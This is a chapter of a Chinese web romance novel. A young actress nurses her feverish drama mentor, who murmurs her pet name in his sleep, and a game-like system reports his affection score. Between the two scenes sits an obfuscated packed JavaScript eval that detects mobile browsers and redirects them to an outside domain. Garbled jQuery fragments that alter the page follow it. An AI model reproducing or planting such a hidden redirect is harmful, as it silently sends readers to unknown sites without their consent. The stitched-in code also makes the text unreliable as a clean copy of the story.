沈清雨敲门的时候，天色已经沉下来。


    感应灯在她抬手的瞬间亮起，泛着一层淡淡的暖光，把脚边的影子拉得细长。


    夏季的晚风裹着白日残余的热气，从楼道尽头吹来，带着茉莉与青草被晒过的清香，黏黏的，像一层薄汗贴在后颈。


    她站在门口，手里还拎着一只保温袋，脚下门垫被踩出几道浅印。今天天气闷得厉害，空气像是被谁摁了暂停键，浮着一层将散未散的热，沉沉地笼着。


    她却不急，也不慌。眼里清亮亮的，像从暮色里点燃的一盏灯。


    今天收得早，有些人又没吃饭。


    没人心疼她放在心上的人，她来。


    她轻轻抬手，敲了两下门：“师父。”


    声音不轻不重，尾音落下，在夏夜沉闷的走廊里缓缓散开。


    屋里静悄悄的，像是没人，也像是刻意不应。


    她站了一会儿，没动，低头笑了一下，像是轻轻叹了口气，又像是某种被戳破了的笃定：“……这可不像你啊。”


    她太了解他了。


    徐然洲一向有分寸、有回音，从不让她的消息悬着。就算在最忙最乱的档期，也没超过一小时不回。今天她故意发了句“今天为什么结束那么早”，三个小时了，连个“？”都没点开。


    她不信。


    他不是不看，只是不想让她知道他看了。


    沈清雨收起手机，换了只手拎袋子，指尖已经被拎带勒得发红，握着却像握着什么天大的宝贝，舍不得放。


    门还是没开。


    她终于俯下身，从帆布包里翻出一把钥匙——是上次冬天，他亲手塞给她的。


    那天雪大，她排完练一个人去找他，站在楼下给他发消息，等了三分钟他匆匆跑下来。


    手里是一杯热茶，一把钥匙。


    “平时看着挺机灵的，”他说得淡，“现在才知道原来是个傻的。下雪天也不怕冻坏了。”


    她还没反应过来，他就把钥匙塞进了她掌心，语气仍是那副温温淡淡的，连眼神都没抬一下：“拿着。下次直接进来。”


    说完转身就走，风吹过来，他外套下摆扫过她膝盖。


    沈清雨那时候没说什么，只低头看了好久。


    一把钥匙而已，握在手里却像是心跳声都换了频率。


    她转回神，将钥匙轻轻卡进门锁。


    “咔哒”一声，门开了。


    她推门进去，熟悉的室内味道扑面而来，是冷气、书页，还有他身上惯有的雪松香。可空气安静得有些不对劲。窗帘半合着，屋内光线昏暗，像一口被盖上的水井，静得出奇。


    她没急着喊人，而是轻轻把鞋脱了，换上拖鞋，提着汤往里走。


    直到她在沙发边看到那抹靠着的人影。


    白衬衣，领口微敞，袖子挽到手肘，却不像平常那样干净利落。他窝在沙发一角，整个人像是被什么病灼过，连呼吸都带着浅浅的虚弱。


    沈清雨脚步顿了顿。


    “……徐然洲？”她试探着喊他。


    男人没动。


    她快步走过去，一摸额头，手指就猛地一颤——烫的。


    是真烧起来了。


    “生病了也不说。”她声音轻得像怕吵醒他，却又压着一点气，“平时不都管别人多吗，怎么就不肯让人管你？”


    沈清雨放下袋子，去拿毛巾、倒水，动作利落得像早已无数次在脑海里演练过。她坐在茶几边，手指被毛巾打湿，水珠顺着指节滑落，却没有松开分毫。


    她一边轻轻替他擦着额头，一边盯着他脸看。


    那张素来冷淡的脸此刻像被发烧揉软了些，呼吸虚虚的，睫毛安静垂下，竟多了点少年气的脆弱。


    她仿佛看到了他栩栩的旧年。


    沈清雨不由浅笑了一下，指尖停在他眉心。


    他今天是真的难受。


    连躲她的力气都没有了。


    而她一靠近，就知道他到底有多不好。


    他一向沉得住气。情绪收拾得干干净净，就像一场拿捏分寸的戏。冷静、内敛、无懈可击。


    可现在，像撑不住了，整个人窝在沙发角，像不小心把心事也烧化了，一点点渗出来。


    沈清雨把拧干的温毛巾覆到他额头的那一刻，男人的眉心忽然轻轻一蹙。


    像做了个不甚愉快的梦。


    下一秒，他的唇角动了动，呼吸沉沉，沙哑得像被风刮过的琴弦，低低哼出一声：


    “……阿糍。”


    像一粒烧红的糖，从胸腔深处滚出来，又轻轻落在她脚边，灼得人一阵心慌。


    沈清雨手指一滞。


    他从未在任何场合这样叫过她。


    剧院也好，排练厅也罢，她在众人面前一向是“沈清雨”，或“小徒弟”。他教她演戏、教她控情绪、教她站在聚光灯下如何收放自如。他温和，也疏离，像一池冰雪下的湖水，平静得几乎没有波纹。


    私下偶尔唤她“小姑娘”、“小朋友”，也不过是雪落檐前的轻响，克制而得体。


    可这一声“阿糍”。


    是他自己都没意识到的梦呓。


    软得像是一口藏了太久的糖，连梦里都舍不得吐出来。


    沈清雨觉得，心口像被一根羽毛轻轻拂过，泛起层层涟漪。


    别人都叫过这个名字。


    偏他没有。


    现在，刻意藏起来的那一点点私心，终于被梦给揭穿了。


    她弯下身，轻轻把毛巾换了一边，声音也低低的，像怕吵醒梦里的人，又像在细细撒娇：


    “我在呢。”


    “阿糍在。”


    口是心非，徐然洲。


    你真的，看懂你自己的心了吗？


    她低头看他，心里泛起点没来由的酸涩，是心疼。


    原来最先动心的人，不是她。


    是他。


    【小壹，帮我看一下…】


    【收到～检测中……】


    【反派徐然洲爱意值：70％，情欲值：45％。】


    她低头轻笑，眼里光亮一点点漫上来。


    那就等等她吧。


    等她长大，等风停雨歇，等他不再需要克制地站在界限之外。


    那时候，就换她不客气了。


    *


    天刚蒙蒙亮，窗帘没拉严实，一缕薄光从缝隙间漏进来，落在凌乱的床单与男人锁骨之间。


    徐然洲睁开眼，额角还有些微潮湿，毛巾滑到了枕边。他动了动，喉咙一阵干涩，整个人像是从一场苦涩而混沌的梦里挣扎着游出来。


    梦里的温度还没散尽。


    他闭了闭眼，脑海里反反复复只剩下一个名字，在热得发烫的意识里回响。


    ——“阿糍。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650277|172594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他怎么会……在梦里那样唤她。


    声音太低，又太真，像烧红的字直接落在心口上。


    他伸手按住额头，微微蹙眉，几乎是在自我审判。他一向自控，该克制的念头，该咽下的情绪，从来不让第二个人知晓。


    可那一声，软得几乎不像是他。


    梦里的画面慢慢浮现上来。


    是那天。小姑娘执拗地开口，它很重要。


    他只是看着她，黄昏的光落在她睫毛上，微微发亮。他手指蜷了下，却始终没有伸出去。


    沈清雨不知道。


    她不知道他曾在排练视频前坐了一夜，看她怎么走、怎么站、怎么哭，那句“喜欢你”咬字咬得像在喊他的名字。


    她不知道，她越演得好，他越慌。


    他怕她不是在演明明，而是在演她心里的“他”。


    他怕，怕她不是在演一场戏，而是在用全副真心跑向他。


    而他给不了她什么——


    除了一身冷静、几分自控，还有无数次的后退。


    他看着自己转身离开了。


    身后的剧场空无一人，只有她一个。


    她站在那里，像被灯光遗忘的小演员。


    他把她一个人留在那里。


    “阿糍。”喉咙哑得似有火烧过。


    声音落在空荡的房间里，有种无法忽视的疼意。


    徐然洲重新睁开眼，眉心微蹙，他下意识抬手摸了下额头，却摸到了床边的毛巾。


    房间安静得出奇，连空气都显得轻手轻脚。


    可他就是知道，她来过。


    鼻尖嗅到淡淡的茉莉香气，不是房间本有的味道，是她的味道。那是他衣袖上常沾的香。


    茶几上的水杯被擦得干干净净，正正地摆着，毛巾也整整齐齐叠好放在一旁，像是怕惊扰了什么。


    什么都没说，什么也没留下，像只聪明的小猫，只留下温度、香气，还有一份他几乎要沉溺其中的温柔。


    小姑娘一贯的乖巧聪慧，在谁面前都是肆意明媚的。


    谁又舍得真正拒绝她呢？


    可在他面前，却学会了小心翼翼。她把最柔软的一面藏起来，只留下一点点余温，藏在这样细节的角落里。


    明明是明艳的春光，却偏偏学着收敛锋芒，只为不惊扰他。


    徐然洲喉头一哑，低低咳了两声，抬手捂住眼，半晌没再动。


    指腹下是微微的湿意。


    他想起她说，“我只是想更靠近你一点。”


    可他现在才知道，那不是一句撒娇。


    而是她伸出的手，是她在等他回应的一步。


    而他，却没有回应。


    他闭着眼，呼吸慢慢加重，喉头像堵了团火，烧得他胸口一阵发麻。


    他轻轻拿起毛巾，把脸埋进去。


    浓郁、熟悉的茉莉香气。


    他不该动摇。


    可他现在只觉得疯了一样地想见她。


    他想起她以前看他的眼神，那种明明被他冷漠对待了无数次、却仍旧亮晶晶仰望的目光。像个藏不住心事的小姑娘，一点喜欢都藏在眼尾，连撒谎都不会。


    “师父宠徒弟，理所应当不是吗？”


    他轻轻低语，像是在说服自己。却又偏执地把毛巾往身前拉了一点，像是把她留在的气息也护进怀里。


    一寸也不许流出去。